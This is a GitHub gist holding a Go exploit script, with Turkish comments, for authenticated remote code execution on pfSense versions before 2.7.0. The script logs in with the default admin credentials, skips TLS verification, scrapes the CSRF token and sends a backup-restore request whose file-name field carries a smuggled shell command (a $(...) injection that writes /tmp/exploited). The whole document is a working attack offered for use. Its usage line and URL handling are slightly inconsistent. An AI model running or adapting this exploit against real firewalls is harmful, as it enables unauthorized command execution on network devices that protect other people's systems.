Skip to content

Instantly share code, notes, and snippets.

@ertugrulturan
Last active August 3, 2023 06:13
Show Gist options
  • Save ertugrulturan/ff41381511e1325671d4037c70d9e56f to your computer and use it in GitHub Desktop.
Save ertugrulturan/ff41381511e1325671d4037c70d9e56f to your computer and use it in GitHub Desktop.
pfSense < v2.7.0 Authenticated RCE
package main
import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"os"
)
func exploit(ip, port string) {
username := "admin" // PfSense kullanıcı adı
password := "pfsense" // PfSense parola
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
// İlk olarak oturum açma işlemini gerçekleştiriyoruz.
loginURL := fmt.Sprintf("https://%s:%s/index.php", ip, port)
loginData := fmt.Sprintf("usernamefld=%s&passwordfld=%s&login=Login", username, password)
loginReq, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(loginData))
if err != nil {
fmt.Println("Oturum açma isteği oluşturulamadı:", err)
return
}
loginReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
loginResp, err := client.Do(loginReq)
if err != nil {
fmt.Println("Oturum açma hatası:", err)
return
}
defer loginResp.Body.Close()
// Oturum açma başarılı mı kontrol ediyoruz.
if loginResp.StatusCode != 302 {
fmt.Println("Oturum açma başarısız.")
return
}
// CSRF token alıyoruz.
diagBackupURL := fmt.Sprintf("https://%s:%s/diag_backup.php", ip, port)
csrfReq, err := http.NewRequest("GET", diagBackupURL, nil)
if err != nil {
fmt.Println("CSRF token isteği oluşturulamadı:", err)
return
}
csrfResp, err := client.Do(csrfReq)
if err != nil {
fmt.Println("CSRF token hatası:", err)
return
}
defer csrfResp.Body.Close()
csrfToken := ""
if csrfResp.StatusCode == 200 {
body, _ := ioutil.ReadAll(csrfResp.Body)
csrfToken = extractCSRFToken(string(body))
}
if csrfToken == "" {
fmt.Println("CSRF token alınamadı.")
return
}
// Komut enjeksiyonu için payload oluşturuyoruz.
payload := "WAN_DHCP-quality.rrd';$(echo 'exploited' > /tmp/exploited);#"
// RRD dosyasını geri yüklüyoruz (komut enjeksiyonunu gerçekleştirmek için)
restoreURL := fmt.Sprintf("https://%s:%s/diag_backup.php", ip, port)
payloadData := fmt.Sprintf("__csrf_magic=%s&backuparea=rrddata&donotbackuprrd=yes&backupssh=yes&encrypt_password=&encrypt_password_confirm=&restorearea=rrddata&conffile=%s&decrypt_password=&restore=Restore+Configuration",
csrfToken, payload)
restoreReq, err := http.NewRequest("POST", restoreURL, bytes.NewBufferString(payloadData))
if err != nil {
fmt.Println("Geriyükleme isteği oluşturulamadı:", err)
return
}
restoreReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
restoreResp, err := client.Do(restoreReq)
if err != nil {
fmt.Println("Geriyükleme hatası:", err)
return
}
defer restoreResp.Body.Close()
fmt.Println("Komut enjeksiyonu tamamlandı.")
}
func extractCSRFToken(html string) string {
startIndex := bytes.Index([]byte(html), []byte("csrfMagicToken = \""))
if startIndex == -1 {
return ""
}
startIndex += 18 // Skip "csrfMagicToken = \""
endIndex := bytes.Index([]byte(html[startIndex:]), []byte("\";"))
if endIndex == -1 {
return ""
}
return html[startIndex : startIndex+endIndex]
}
func main() {
if len(os.Args) != 4 {
fmt.Println("Kullanım: ./main -s https://10.5.5.1 -p 80")
return
}
ip := os.Args[2]
port := os.Args[3]
exploit(ip, port)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment